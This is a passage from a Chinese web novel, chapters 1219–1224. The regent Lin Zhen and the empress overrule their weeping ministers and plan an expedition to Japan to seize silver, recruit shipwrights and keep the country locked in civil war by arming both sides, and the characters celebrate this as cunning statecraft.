因为他知道,这件战袍的每一针,每一线,都浸透了他心爱的女人对他那早已深入骨髓的无尽的爱意和担忧。 这是她送给他的最珍贵的礼物。 也是他此生收到的最温暖的铠甲。 他将穿着它征战四方,所向披靡! 然后带着无上的荣耀和胜利回到她的身边。 回到这个,他们共同的温暖的家。 林臻这番充满了无尽霸气和滔天杀意的惊天宣言,如同一颗足以毁灭星辰的超级核弹,在整个紫宸殿内轰然引爆! 所有文武百官,都像是被闪电劈中了天灵盖一般,呆呆地傻傻地愣在了原地。 他们一个个张着嘴,瞪着眼,脑子里嗡嗡作响,一片空白。 东西两线同时开战? 摄政王殿下亲率五十万大军西征君士坦丁堡? 皇后陛下御驾亲征,率十五万大军东征倭国? 这……这……这…… 他们感觉自己一定是疯了!这简直是他们这辈子听过的最疯狂、最荒谬、最不可思议的事情! 西域的二十万虎狼之师还没解决,南边的东印度公司舰队刚刚覆灭,尸骨未寒,他们竟然又要主动地去招惹东边的那群疯狗,还要去捅西边那个更可怕的马蜂窝? 这……这不是嫌自己死得不够快吗?! 这已经不是在下棋了!这分明是在掀桌子啊!是要把整个世界都给点燃的节奏啊! “不!王爷!陛下!万万不可啊!” 在经历了长久的,死一般的寂静之后,以吏部尚书王安石为首的一众文官,第一个反应了过来。 他们“噗通”一声,争先恐后地全都跪倒在地,一个个哭天抢地,声泪俱下,那场面比死了亲爹还要凄惨。 “王爷!您……您三思啊!”王安石的声音都带上了哭腔,老泪纵横,“您才刚刚大病初愈,龙体尚未完全康复,如何能再亲率大军,远征万里啊!那西域之路,黄沙漫漫,艰险异常,您这万金之躯,若是有个什么三长两短,那我大乾……我大乾可就真的要塌天了啊!” 他说着,便以头抢地,砰砰作响,仿佛下一秒就要血溅当场,以死明志。 “是啊,王爷!”户部尚书周兴也跟着跪爬了过来,一把鼻涕一把泪地抱着林臻的大腿哭嚎道,“王爷,您不能走啊!您要是走了,这国库的银子可怎么办啊!东西两线同时开战,那得花多少钱啊!那简直就是个无底洞啊!老臣就算是把这身肥肉全都给榨出油来,也填不上这么大的窟子啊!求王爷开恩,求王爷给老臣留条活路吧!” 他哭得那叫一个伤心,那叫一个真切,不知道的还以为林臻是抢了他家祖坟里的金元宝。 紧接着,工部尚书李格,礼部尚书,刑部尚书……几乎所有在场的文官,全都跪了下来,整个紫宸殿内,哭声、喊声、劝谏声,响成了一片。 他们不是不忠心,也不是怕死。 他们是真的怕了。 他们怕的不是敌人,而是怕眼前这对,做事完全不按常理出牌,一个比一个疯狂的传奇帝后! 尤其是怕,他们俩分开! 摄政王殿下和皇后陛下的组合,在他们看来,就是无敌的。可一旦分开,还是在这种帝国面临空前危机,两线作战的节骨眼上分开,那变数可就太大了! 万一……万一再出点什么意外…… 他们简直不敢再想下去! “够了!” 就在这满殿的哭嚎劝谏之声,即将要将紫宸殿的屋顶都给掀翻的时候。 一声冰冷的,充满了无尽威严的清冷断喝,骤然响起! 是慕容嫣! 只见她缓缓地从那凤椅之上站了起来,那张因为林臻,而刚刚恢复了一丝血色的绝美俏脸,此刻又一次变得冰冷如霜。 第1219章 开弓没有回头箭 她身上那件,作为唯一寝衣的神凤降世裙,也仿佛感受到了它主人那内心的滔天怒火。 那极致玄黑的苏锦底料,在紫宸殿那明亮而又庄严的烛光之下,仿佛变成了一片,即将掀起惊涛骇浪的,愤怒的黑色海洋! 那只用真金线绣成的擎天巨凤,更是凤目圆睁,迸发出了令人不敢直视的,冰冷的属于帝王的无上威严! “哭哭啼啼,成何体统?!” 她的目光,如同两把锋利至极的冰刀,缓缓地扫过殿下那,黑压压的一片,跪倒在地的身影。 “国难当头,大敌当前!尔等身为我大乾的股肱之臣,不思如何为国分忧,为君解难,却只知在此哭天抢地,阻挠君父!” “这就是你们读了一辈子圣贤书,读出来的忠君爱国之道吗?!” “朕,真是为你们感到羞耻!” 慕容嫣的这番话,掷地有-声,每一个字,都像是一记响亮的耳光,狠狠地扇在了所有文官的脸上! 让他们一个个面红耳赤,羞愧得无地自容。 整个大殿,瞬间,鸦雀无声。 看着这帮终于安静下来的老顽固们,慕容嫣心中的怒火,才稍稍平息了一些。 她知道,他们并无恶意。 他们只是太在乎,太害怕失去她和林臻了。 她深吸一口气,声音也缓和了下来:“诸位爱卿的心意,朕和王爷都明白。” “但开弓没有回头箭。” “我大乾的战旗,一旦升起,就绝没有不战而退的道理!” “此战,不仅关系到我大乾的国运,更关系到我大乾的国威!” “我们必须打!而且必须,打赢!” “只是……”她的话锋一转,那双美丽的凤眸之中,闪过了一丝,连她自己都未曾察觉的,深深的担忧和不舍。 她看了一眼身旁那个,虽然依旧强撑着,但脸色却明显又苍白了几分的男人。 “王爷他,龙体初愈,确实不宜再远赴西域,长途劳顿。” 此言一出,殿下所有官员的心,都猛地提了起来! 陛下……陛下这是要松口了? 然而,他们还没来得及高兴。 慕容嫣接下来的话,却又一次,让他们所有人的眼珠子,都差点从眼眶里瞪出来! “所以,朕决定!” “西征之事,暂缓。” “朕将与王爷一起!” “御驾亲征!” “东渡倭国!” 慕容嫣这句,比之前任何一次都更加疯狂,更加匪夷所思的决定。 像一颗,在平静的湖面引爆的,超级深水炸弹! 瞬间便让整个紫宸殿,陷入了一种堪称是诡异的,死一般的寂静之中。 所有文武百官,都像是被人集体施了定身法一样,一个个呆若木鸡地跪在原地,张着嘴,瞪着眼,脑子里嗡嗡作响,一片空白。 他……他们刚才听到了什么? 西征之事,暂缓? 皇后陛下要和摄政王殿下一起,御驾亲征,去打那个什么狗屁的倭国? 这……这……这…… 这跟他们刚才反对的,有什么区别吗? 不! 区别大了去了! 之前的计划,好歹还是兵分两路,一个守家,一个出征。 虽然风险大,但至少家里还有个主心骨。 可现在这个计划,倒好! 直接夫妻双双把家还……哦不,是夫妻双双上战场了! 这他娘的是要把整个大乾的未来,他们所有人的身家性命,全都压在一场,毫无胜算的惊天豪赌之上啊! 疯了! 他们这位女帝陛下,一定是疯了! 是被王爷的昏迷,和西域的惨败,给刺激得彻底失去理智了! “不!陛下!万万不可啊!” 在经历了长久的,死一般的寂静之后。 以吏部尚书王安石为首的一众老臣,再一次爆发出了,比之前任何一次都更加凄厉,更加绝望的哭嚎和劝谏! “陛下!您……您不能去啊!您可是我大乾的国君啊!更是……更是身怀龙种的万金之躯啊!” “那东海之上,风高浪急,倭寇更是悍不畏死,凶残异常!您此去,若是……若是有个什么三长两短,那……那可让我等这些做臣子的,如何向天下万民交代!如何向那九泉之下的列祖列宗交代啊!” 王安石老泪纵横,整个人都快要哭得背过气去了。 “是啊,陛下!”户部尚书周兴也顾不上什么君臣之礼了,他一把鼻涕一把泪地,几乎是手脚并用地爬到了慕容嫣的脚下,死死地抱住了她那身,华贵无比的神凤降世裙的拖尾。 “陛下,您就听老臣一句劝吧!您不能走啊!您和王爷,就是我大乾的两根顶梁柱!如今王爷已经……已经龙体抱恙,您要是再走了,那我们大乾,可就真的要塌了啊!” “求求您了!您就留在长安,坐镇中枢!那什么东征倭国的小事,就交给岳将军他们去办吧!老臣相信,以岳将军的才能,一定能……一定能……” 他说到这里,却是怎么也说不下去了。 因为连他自己都不相信,光凭一个岳飞,和那支刚刚组建起来的,连一次远洋航行经验都没有的“草台班子”水师,就能打下那个,连王爷和陛下都如此重视的倭国。 一时间,整个紫宸殿内,又一次被一片,充满了无力、悲观和绝望的愁云惨雾所笼罩。 然而,就在这所有人都认为,大乾帝国已经走投无路,即将要在这场,史无前例的巨大危机之中,分崩离析,彻底覆灭的时候。 那个一直坐在御阶之上,闭目养神,仿佛对眼前这一切都漠不关心的男人。 林臻,却突然,缓缓地睁开了眼睛。 他没有说话。 只是用一种,平静得有些可怕的目光,缓缓地扫过殿下,那一张张写满了恐惧和绝望的脸。 最终,他的目光,落在了那个,正被周兴死死抱住裙摆,那张绝美的俏脸上,写满了无奈、焦急,和一丝深深的疲惫的,心爱女人的身上。 他的心,猛地一疼。 他知道,自己这位小娇妻又在逞强了。 她之所以会做出,如此“疯狂”的决定。 不是因为她真的疯了。 而是因为,她怕了。 她怕自己会死在西域。 她怕自己,会像那十万安西军一样,永远也回不来了。 所以她宁愿冒着天下之大不韪,也要将自己强行地留在她的身边。 哪怕只是,一起去面对那未知的,充满了危险的东海。 她也心甘情愿。 第1220章 我是去做生意的 这个傻丫头。 她总是这样。 用她那看似坚强,实则脆弱不堪的肩膀,去为他,扛起所有的一切。 林臻的心中,涌起了一股,巨大的,难以言喻的,心疼和愧疚。 他缓缓地,从那冰冷的龙椅之侧,站了起来。 虽然他的身体,还很虚弱。 虽然他的脸色,依旧苍白。 但他那挺拔的身姿,和他身上那股,与生俱来的,君临天下的无上霸气,却依旧是那么的,令人不敢直视。 他一步一步地,走下了御阶。 走到了慕容嫣的身边。 然后,他当着所有人的面,伸出手,轻轻地将那个还在为他强撑着整个帝国的女人,拥入了怀中。 “嫣儿,”他的声音很轻很柔,却又带着一股足以让天地都为之动容的无尽的深情和宠溺。 “辛苦你了。” 他没有再说任何多余的话。 只是就这么,静静地抱着她。 仿佛要用自己的身体,为她,挡住这世间,所有的风雨。 慕容嫣的身体,微微一颤。 她那一直强撑着的,坚强的伪装,在感受到这个,熟悉而又温暖的怀抱的瞬间便彻底地土崩瓦解。 眼泪再一次不受控制地决堤而下。 她将自己的脸,深深地埋进他那,虽然还带着一丝病态的虚弱,但却依旧是那么的让人心安的宽阔胸膛里。 “夫君……” 她只叫出了两个字,便已是哽咽得不成样子。 林臻看着怀中这个哭得像个孩子一般的女人。 心中除了爱便只剩下了无尽的懊悔和自责。 他知道,自己错了。 他从一开始,就错了。 他不该因为自己那点可笑的所谓的“大男子主义”,和那所谓的“建功立业”的野心,就将她一个人丢在这冰冷的吃人的皇宫之中。 他更不该,在她最需要他的时候,却因为自己的逞强而倒下。 让她一个人去面对这足以压垮任何人的泰山之压。 他轻轻地,拍着她的后背,用一种全世界最温柔的声音,在她的耳边轻声地说道。 “对不起,嫣儿。” “是夫君不好。” “夫君不该让你一个人,受这么多委屈。” “我答应你,”他的声音变得无比的,坚定和郑重,“从今天起,我再也不走了。” “不管你去哪,我都陪着你。” “你要去东海,我陪你。” “你要去西域,我也陪你。” “就算是你要去那九天之上,摘星星,还是要去那九幽之下,斗阎罗。” “我林臻,都陪着你。” “上穷碧落下黄泉,我们夫妻二人,永不分离。” 林臻这番充满了无尽的深情、宠溺,和担当的告白。 像一道,最温暖的阳光,瞬间便驱散了慕容嫣心中所有的阴霾和恐惧。 也像一剂最强大的强心针,瞬间便让她那颗早已疲惫不堪的心重新充满了力量。 她抬起头,那双早已被泪水模糊了的美丽的凤眸,痴痴地看着他仿佛怎么也看不够。 “夫君……” 她抽了抽鼻子,声音里还带着浓浓的鼻音,却又充满了前所未有的甜蜜和幸福。 “你……你说的,都是真的吗?” “你真的愿意陪我一起去倭国?” “当然是真的。” 林臻看着她那还有些不敢相信的,可爱的模样,笑着刮了刮她那小巧挺翘的鼻尖。 “我林臻,什么时候,骗过你?” 他转过头,看了一眼殿下那些还跪在地上,一个个都像是见了鬼一样,目瞪口呆的文武百官。 嘴角勾起了一抹玩味的笑容。 “不过,”他话锋一转,“我们这次去倭国,可不是去,跟他们打打杀杀的。” “啊?” 慕容嫣和殿下的所有官员,都愣住了。 不去打仗? 那他们兴师动众,又是发战争债券,又是组建联合舰队的,是去干嘛的? 去东海旅游观光吗? “夫君,你……”慕容嫣有些不解地看着他,“你这是什么意思?” “我的意思很简单。” 林臻的眼中,闪过了一丝狐狸般的狡黠光芒。 他拉着慕容嫣的手,重新走上了那高高的御阶。 然后他当着所有人的面,指着那副巨大的堪舆图上,那个毫不起眼的小小岛国缓缓地说道。 “我们这次去倭国,不是为了征服,而是为了,‘借’。” “借?” 所有人都更糊涂了。 “没错,就是借。” 林臻的嘴角,勾起了一抹,高深莫测的笑容。 “第一,我们要向他们,‘借’钱。” 他的目光,落在了户部尚书周兴的身上。 “周尚书,你刚才不是还在哭穷,说国库没钱,打不起两线战争吗?” “现在,机会来了。” “那倭国遍地都是银矿。我们这次去,不求多,先‘借’他个三五千万两白银回来,应该不成问题吧?” “三……三五千万两?!” 周兴听到这个天文数字,那双小眼睛瞬间便瞪得比铜铃还大! 整个人更是激动得差点当场就抽过去! 三五千万两白银啊! 那足以将他们大乾的国库,给填满好几个来回了! 有了这笔钱,别说是打两线战争了,就算是打十线战争,他周胖子也敢拍着胸脯保证,粮草军饷,管够! “借!必须借!狠狠地借!” 他想也不想地,便用一种,近乎于嘶吼的声音,疯狂地表起了态。 那副财迷心窍的模样,看得一旁的王安石等人,是直翻白眼。 林臻看着他那副活宝的样子,也是有些哭笑不得。 他清了清嗓子,继续说道:“第二,我们要向他们,‘借’人。” 他的目光,又落在了工部尚书李格的身上。 “李尚书,我们大乾,虽然地大物博,人口众多。但真正懂得造船之术,和远洋航海之法的,却是寥寥无几。” “而那倭国四面环海,其国民世代以捕鱼和航海为生。其中必定不乏,技艺高超的船匠,和经验丰富的航手。” “我们这次去,就是要将他们这些最顶尖的人才,全都给我,‘借’到我们大乾来!” “让他们为我们所用!为我们打造出,那能纵横四海的无敌舰队!” “王爷圣明!” 李格闻言也是激动得浑身发抖。 他知道王爷这一招简直就是釜底抽薪! 技术可以学。 但人才,尤其是那些浸淫此道数十年的顶尖人才,却是可遇而不可求的! 有了这些人他有信心,在三年之内就为大乾打造出一支无论是规模还是技术,都远超那什么狗屁“东印度公司”的超级舰队! 第1221章 我们要向他们借命 “第三,”林臻的声音变得愈发地冰冷和残酷,“也是最重要的一点。” “我们要向他们,‘借’命!” 他的目光落在了兵部侍郎的身上。 “你刚才说西域危急王爷和神机营身陷重围。我们必须立刻发兵救援。” “这话没错。” “但是我们现在缺兵吗?” “不缺!” “我们大乾有的是悍不畏死的热血男儿!” “我们缺的是时间!” “是能让我们从容地调兵遣将,布局西域的宝贵的时间!” “而这个时间就要靠那数百万倭人的命来给我们换!” “朕与王爷将亲率东征大军,在倭国本土与那织田信长的主力,展开一场旷日持久的血腥拉锯战!” “我们要把倭国变成一个,巨大无比的血肉磨盘!” “我们要把,全世界所有人的目光,都吸引到,这片东方的战场之上!” “我们要让那奥斯曼土耳其,让那东印度公司,让那罗刹国,让所有对我们大乾虎视眈眈的豺狼们都以为我们已经倾尽了全力,陷入了战争的泥潭无法自拔!” “如此一来,他们就必然会,放松对西域的警惕!” “而这就是我们的机会!” 林臻的这番,堪称是,“瞒天过海,以战养战”的,全新大战略。 让在场的所有人,都再一次听得是如痴如醉,醍醐灌顶! 他们终于明白了! 原来王爷和陛下从一开始就没打算,要跟那奥斯曼土耳其在西域硬碰硬! 他们真正的目的,要用东海的这场,看似疯狂的战争来为西线的决战,争取最宝贵的战略缓冲时间! 同时还能顺便把倭国的银子,人才,全都给“借”过来! 这……这已经不是简单的一石二鸟了! 这简直就是,一石三鸟,一箭三雕的神仙操作啊! “王爷……神人也!” “好了,”林臻看着殿下那些,已经彻底被他说服了的文武百官,一锤定音地说道,“此事,就这么定了。” “西征之事暂缓。由郑克敌元帅率北府军,继续在昆仑山一线与敌对峙,牵制其主力。” “东征之事即刻启动!” “由朕与皇后陛下亲自挂帅!” “三日之后大军开拔!” “目标!” “倭国!” 林臻这番,充满了绝对自信和不容置疑的最终决断,如同一颗定海神针,瞬间便稳住了整个大乾朝堂那早已是风雨飘摇的人心。 那些之前还哭天抢地,寻死觅活的文官们,此刻一个个都像是打了鸡血一样,激动得满脸通红。 “王爷圣明!陛下圣明!” “以战养战!瞒天过海!此乃真正的神仙妙计啊!” 户部尚书周兴更是直接从地上蹦了起来,那张肥胖的脸上,哪还有半点之前的悲观和绝望,全是财迷心窍的狂喜和亢奋。 “打!必须打!狠狠地打!” 他挥舞着那肥硕的拳头,唾沫横飞地嘶吼道:“不就是钱吗?王爷您放心!老臣就算是豁出去这条老命,也一定给您把军饷粮草凑齐了!咱们这次去倭国,不把他们那座银山给搬空了,老臣的名字就倒过来写!” 他这副活宝的样子,让原本还算庄严肃穆的紫宸殿,瞬间就充满了快活的空气。 就连一直板着脸的王安石,嘴角都忍不住微微抽搐了一下。 慕容嫣看着这帮,前一刻还如丧考妣,下一刻就跟打了鸡含血似的,态度转变之快,简直比翻书还快的“股肱之臣”们,也是有些哭笑不得。 她算是看明白了。 对付这帮老狐狸,跟他们讲什么大道理,谈什么忠君爱国都没用。 只有一样东西,才是永恒的真理。 那就是利益。 只要你能给他们带来,足够大的利益,别说是让他们去打倭国了,就算是让他们现在就跟着自己去打天宫,捅玉皇大帝的屁股,他们都敢嗷嗷叫着往上冲。 而她的夫君,林臻,无疑是这个世界上,最懂得如何利用“利益”二字,来玩弄人心的,绝世魔鬼。 她看了一眼身旁那个,正一脸云淡风轻,仿佛刚才那个石破天惊的计划,只是他随口一提的小事一般的男人。 那双美丽的凤眸之中,除了崇拜,便只剩下了,无尽的爱意和依赖。 有夫如此,夫复何求? 她知道,只要有这个男人在身边,不管未来将要面对多么可怕的惊涛骇浪,她都无所畏惧。 “好了。” 她缓缓地开口,声音虽然轻柔,却带着一股不容置疑的帝王威严,瞬间便压下了大殿内那所有的喧嚣。 “既然诸位爱卿都已无异议。” “那东征之事便就此定下。” “周兴,李格,王安石。” “臣在!” 三位尚书连忙出列,躬身领命。 “朕命你三人,即刻成立‘东征大军总后勤处’!” “周兴你负责钱粮调度。” “李格你负责军械、战船的打造和维修。” “王安石你则负责,所有随军出征人员的政审和记录,以及战后对倭国的,文化改造和教化事宜。” “朕只给你们三天的时间!” “三天之后,朕要看到,一支足以支撑十五万大军,远征半年的,庞大的后勤补给船队,出现在东海之上!” “你们,能做到吗?!” “臣等……遵旨!” 周兴三人闻言,心中都是猛地一凛! 三天! 仅仅三天的时间,就要完成如此庞大而又繁杂的后勤准备工作! 这简直就是一个不可能完成的任务! 但当他们看到御阶之上那对正并肩而立,那双同样充满了,绝对自信和不容置疑的目光的传奇帝后时。 他们知道自己没有拒绝的余地。 他们只能,也必须做到! “岳飞!” “末将在!” 岳飞再次出列,那张刚毅的脸上,写满了,即将奔赴战场的兴奋和决绝。 “朕与王爷,虽然会随你一同东征。” “但,大军的日常指挥和训练,依旧由你和伊丽莎白提督,全权负责。” “朕只有一个要求。” “那就是,在抵达倭国之前,朕要看到,一支真正的,纪律严明,令行禁止的,无敌之师!” “朕不希望,在我们的舰队里,再出现像伊达政宗那种,烧杀抢掠,败坏军纪的败类!” “否则,不管他是谁,不管他有多大的功劳!” “朕,都要让他,人头落地!” 第1222章 经济和文化 慕容嫣的这番话,说得是斩钉截铁,杀气腾腾! 岳飞听得也是,心神剧震,热血沸腾! 他知道,陛下这是在敲打他,也是在信任他! 她将这支,承载着大乾未来国运的,庞大舰队的军纪和灵魂,全都交到了他的手上! 这份重托,比泰山还要重! “陛下放心!” 他单膝跪地,声音洪亮如钟,充满了,军人特有的,铁血与忠诚! “末将,愿以项上人头担保!” “东征舰队之内,若再有任何,敢违抗军法,骚扰百姓之徒!” “末将,必亲手,取其首级!以正国法!以肃军威!” “很好。” 慕容嫣看着殿下,那一个个,都重新燃起了斗志和信心的文武百官,那张冰冷的俏脸之上,才终于,露出了一丝,满意的笑容。 她知道,她的大乾,这头沉睡了数千年的东方雄狮,终于要在这场,由她和她的夫君,共同导演的,惊天豪赌之中,彻底地,苏醒了! 下朝之后。 林臻和慕容嫣,没有回栖凤阁。 而是直接去了,那个他们曾经的,摄政王府。 哦不,现在应该叫,皇帝的行宫了。 因为慕容嫣觉得,栖凤阁太小,太压抑。 不利于,她那还在病中需要静养的夫君,和她肚子里那个越来越调皮的小家伙的,身心健康。 所以她便下旨,将整个摄政王府都重新修缮了一遍。 并且,还专门在王府的后花园里,按照江南园林的风格,为林臻和她自己,修建了一座,雅致而又清净的别院。 美其名曰是为了让他们提前感受一下,那传说中的,江南水乡的诗情画意。 此刻,两人正相拥着,躺在别院后花园里,那张巨大的逍遥椅上,晒着那暖洋洋的冬日午后的太阳。 慕容嫣慵懒地靠在林臻的怀里,小手轻轻地抚摸着自己那,已经有五个月大微微隆起的小腹。 那张绝美的俏脸上,写满了即将为人母的幸福和温柔。 她身上那件,作为唯一寝衣的神凤降世裙,也仿佛感受到了,这份宁静和温馨。 那极致玄黑的苏锦底料,在午后温暖的阳光下,泛着一层,柔和的光晕。 那只用真金线绣成的擎天巨凤,也收敛了所有的锋芒和威严,凤目微阖,透着一股,说不出的,慵懒和惬意。 那长达五丈的墨金色苏锦拖尾,从逍遥椅上,迤逦而下,随意地铺陈在,那已经有些枯黄的草地之上。 像一片被阳光晒得暖洋洋的,黑金色的落叶地毯。 那华贵的凌乱之中,充满了岁月静好的安逸与祥和。 “夫君,”她突然开口,声音软得,像棉花糖,“你说我们这次去倭国,真的能顺利地找到那座银矿吗?” 虽然她在朝堂之上表现得是那么的自信,那么的胸有成竹。 但她的心里其实也还是有些没底。 毕竟那只是一个来自于商人口中的虚无缥缥的传说。 万一要是假的…… 那他们这次,可就真的,玩脱了。 “当然能。” 林臻笑着将她往怀里紧了紧,下巴轻轻地蹭着她那柔顺的秀发。 “我的傻嫣儿,你忘了你夫君我是谁了吗?” “我可是这个世界上最会‘忽悠’的人。” “那帮被金钱冲昏了头脑的西方商人,和那些被仇恨蒙蔽了双眼的倭国叛徒,都能被我耍得团团转。” “难道我还会被一个小小的银矿给难住吗?” 他这番充满了自信和调侃意味的话,让慕容嫣的心里又是一阵小鹿乱撞。 她知道这个男人不是在吹牛。 他既然说了能。 那就一定能。 他总是能在最关键的时刻,创造出各种各样令人匪夷所思的奇迹。 就像这次一样。 她原本以为在西域惨败,和他自己又身负重伤昏迷不醒的双重打击之下。 他们的大乾已经走投无路必死无疑了。 可她万万没有想到。 他竟然能在苏醒过来的第一时间,就想出了这么一个堪称是逆天改命的绝世妙计! 用一场看似疯狂的东征来化解西线的燃眉之急。 用一个虚无缥缈的银矿传说,来撬动整个帝国的战争潜力。 这种将整个世界都当成自己棋盘,将所有敌人和盟友都玩弄于股掌之间的神仙手段。 她穷其一生恐怕都学不来。 她只能也只愿安安静-静地待在他的身边。 看着他如何一步一步地将这个早已腐朽不堪的世界搅得天翻地覆。 “夫君,”她将自己的脸在他的胸膛上蹭了蹭,声音里带着一丝小女孩般的好奇,“那我们这次去倭国,真的不把他们给打下来吗?” “就这么一直跟他们耗着?” “那多没意思啊。” 在她看来以他们大乾如今的国力,和那远超这个时代的火器优势。 想要彻底地征服一个小小的倭国简直就是易如反掌。 她想不明白,为什么自己的夫君会选择用这种“温水煮青蛙”的慢性死亡疗法。 “傻丫头,”林臻闻言却是笑了。 他伸出手轻轻地刮了一下她那小巧挺翘的鼻尖,眼中闪烁着旁人难以读懂的深邃光芒。 “你以为战争就只是简单的打打杀杀吗?” “你以为征服一个国家,就只是占领它的土地屠杀它的人民吗?” “不。” 他缓缓地摇了摇头声音变得无比的深沉和睿智。 “真正的征服从来都不是来自于武力。” “而是来自于经济和文化。” “我们这次去倭国看似是在打仗。但实际上我们是在做一笔全天下最大的生意!” “生意?”慕容嫣更糊涂了。 “没错就是生意。” 林臻的嘴角勾起了一抹狐狸般的狡黠笑容。 “你想想,”他循循善诱地说道,“我们打下倭国能得到什么?” “一座储量巨大的银矿。” “一群技艺高超的船匠和水手。” “还有数百万桀骜不驯,随时可能反叛作乱的刁民。” “为了管理这些刁民,我们每年需要向那里派遣多少官员?驻扎多少军队?耗费多少钱粮?” “这简直就是一个得不偿失的无底洞!” “而我们又为什么要去做这种吃力不讨好的亏本买卖呢?” 慕容嫣静静地听着那双美丽的凤眸之中闪烁着若有所思的光芒。 她知道自己的夫君又要开始他的“神仙操作”了。 “那依夫君之见,”她饶有兴致地问道,“我们这笔‘生意’该怎么做?” “很简单。” 第1223章 做生意嘛 林臻的眼中闪烁着如同魔鬼一般,充满了贪婪和算计的骇人光芒! “我们根本就不用彻底地打下倭国。” “我们只需要将它变成一个永远,也无法统一的四分五裂的人间炼狱!” “那个织田信长不是想当天下的霸主吗?” “好啊,我们就让他当。” “但是我们不能让他当得那么舒服。” “那个德川秀忠不是想复仇想夺回自己的一切吗?” “好啊我们也帮他。” “我们可以一边向那织田信长高价出售,我们最先进的燧发枪和火炮。” “让他拥有足以镇压一切反对者的绝对武力。” “另一边我们又可以偷偷地向那德川秀忠,提供资金和军事上的援助。” “让他拥有足以和织田信长分庭抗礼的强大实力。” “我们就是要让他们像两条被关在同一个笼子里的疯狗一样!” “永远地相互撕咬相互消耗!” “永远地生活在战争和动乱之中!” “如此一来,”他的声音变得愈发地充满了魔鬼般的诱惑力,“他们就需要不断地向我们购买武器,购买粮食,购买一切他们所需要的东西!” “而我们就可以坐地起价予取予求!” “他们那座巨大的银矿所产出的每一两白银,最终都会源源不断地流进我们大乾的国库!” “他们那些最优秀的工匠,最勇敢的武士,最聪明的头脑,也都会为了生存为了利益而心甘情愿地为我们所用!” “我们甚至还可以把倭国变成我们大乾皇家海军,最完美的实战演练场!” “让我们的将士们在最真实的血与火的洗礼之中,迅速地成长为一支真正的无敌之师!” “而我们需要付出的,仅仅只是一些微不足道的,快要被淘汰的过时武器。” “和一些永远也用不完的空头支票。” “你说,”他看着早已被他这番堪称是“魔鬼之言”的惊天构想,给彻底惊呆了的心爱女人,脸上露出了一个无比得意的邪魅笑容。 “这笔生意我们是赚了还是亏了?” 慕容嫣彻底傻了。 她就这么呆呆地躺在林臻的怀里,那双漂亮得不像话的凤眸一眨不眨地看着他,脑子里嗡嗡作响,一片空白。 她感觉自己的世界观,在短短的几句话之间,又一次被这个男人给彻彻底底地颠覆了。 这……这是人能想出来的计策吗? 这简直比魔鬼还要魔鬼啊! 将一个国家变成一个永远无法统一的血肉磨盘,让他们永远地相互撕咬,相互消耗,然后大乾坐收渔翁之利,不仅能得到源源不断的财富和人才,还能顺便练兵? 她光是听着,就觉得一股寒气从脚底板直冲天灵盖。 太狠了! 实在是太狠了! 她以前总觉得,自己跟着林臻耳濡目染,学了这么多帝王心术,已经算是个合格的腹黑女帝了。 可现在跟自己这个妖孽夫君比起来,她那点所谓的谋略和手腕,简直就像是小孩子过家家,幼稚得可笑。 他这已经不是在算计一个国家了,他是在玩弄一个民族的命运! “夫君……”她过了好久,才从那巨大的震撼中回过神来,声音都有些发飘,“你……你真是个天生的坏种。” “什么叫坏种?”林臻不乐意了,低头就在她那红润的唇上,不轻不重地咬了一口,“我这叫替天行道,懂不懂?” “那倭国弹丸之地,民风彪悍,不知礼数,几百年来没少骚扰我大乾的沿海百姓。我们现在过去,只不过是收点利息而已,顺便帮他们搞搞内部团结,促进一下军工产业发展,拉动一下内需,这叫什么?这叫国际人道主义援助!” “噗嗤……”慕容嫣终于忍不住,被他这番颠倒黑白的无赖言论给逗笑了。 她伸出小拳拳,在他那结实的胸膛上,不轻不重地捶了一下,嗔怪道:“歪理!全都是歪理!我以前怎么没发现,你这脸皮比长安城的城墙还厚呢?” “那是因为以前,你还没真正地了解你夫君我。”林臻一脸得意地将她往怀里又紧了紧,下巴在她那柔顺的秀发上蹭了蹭,贪婪地嗅着那能让他心安的兰花香气。 “嫣儿,你要记住,这个世界,就是一个巨大的丛林。我们大乾,想要在这片丛林里活下去,而且还要活得比所有人都好,就不能当一头温顺的绵羊。” “我们必须成为,这片丛林里,最凶猛,也最狡猾的,那头狮子王!” “任何胆敢挑衅我们权威,觊觎我们领地的豺狼虎豹,我们都要毫不犹豫地,将它们的爪牙,一根一根地敲碎!将它们的脊梁,一寸一寸地打断!” “我们要让它们知道,谁才是这片丛林里,真正的主人!” 林臻的声音,充满了冰冷的,不容置疑的霸道。 慕容嫣静静地听着,那双美丽的凤眸之中,那最后一丝的犹豫和不忍,也彻底烟消云散。 她知道,夫君说得对。 这个世界,本就是弱肉强食。 对敌人的仁慈,就是对自己的残忍。 她是大乾的女皇帝,她必须为这个国家,为她的子民,为她腹中的孩子,去争取一个,最安全,也最光明的未来。 哪怕,这个过程,需要她双手沾满鲜血,需要她变成一个,连自己都感到陌生的,冷酷无情的魔鬼。 她也,在所不惜。 “好。”她抬起头,主动地,在他的唇上,印下了一个,冰冷而又决绝的吻。“都听你的。” “就让我们夫妻二人,联起手来。” “把这倭国,变成我们大乾的提款机,练兵场,还有……后花园!” 说到最后,她的脸上,也露出了一抹,与林臻如出一辙的,充满了狡黠和腹黑的笑容。 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在午后温暖的阳光下,仿佛变成了一张,由阴谋和欲望共同编织而成的,巨大的黑色蛛网。 而她和她身边的这个男人,就是这蛛网之上,最顶尖的,也是最冷酷的猎食者。 那只用真金线绣成的擎天巨凤,也仿佛感受到了,它主人那内心的转变。 凤目之中,迸发出了前所未有的,充满了贪婪和算计的,骇人金芒! 仿佛已经看到了,那无数的倭国人,在它们夫妻二人的算计之下,是如何地相互残杀,血流成河。 而那来自倭国的,堆积如山的白银,又是如何源源不断地,流进他们大乾的国库。 那长达五丈的墨金色苏锦拖尾,在草地上恣意地铺陈开来。那华贵的凌乱之中,充满了一种,将整个世界都当成自己棋盘的,绝对自信与霸气! 第1224章 别卖关子了 林臻看着怀中这个,已经彻底被自己“带坏”了的,小娇妻,脸上露出了一个,无比欣慰的笑容。 他知道,他那只温顺可爱的小猫咪,终于,在这血与火的洗礼之中,彻彻底底地,长成了一头,可以与他并肩而立,共同狩猎天下的,绝世雌虎。 “这就对了嘛。”他笑着捏了捏她那因为兴奋而微微泛红的俏脸,“我们夫妻同心,其利断金。区区一个倭国,又算得了什么?” “那我们,什么时候出发?”慕容嫣已经有些迫不及待了。 她现在,只想立刻飞到那倭国去,亲眼看看那座传说中的巨大银矿,到底长什么样。 “不急。”林臻却是摇了摇头。 “俗话说得好,磨刀不误砍柴工。” “我们这次去,虽然名义上是去‘借’东西,但该有的排场,和该带的‘诚意’,可是一点都不能少。” 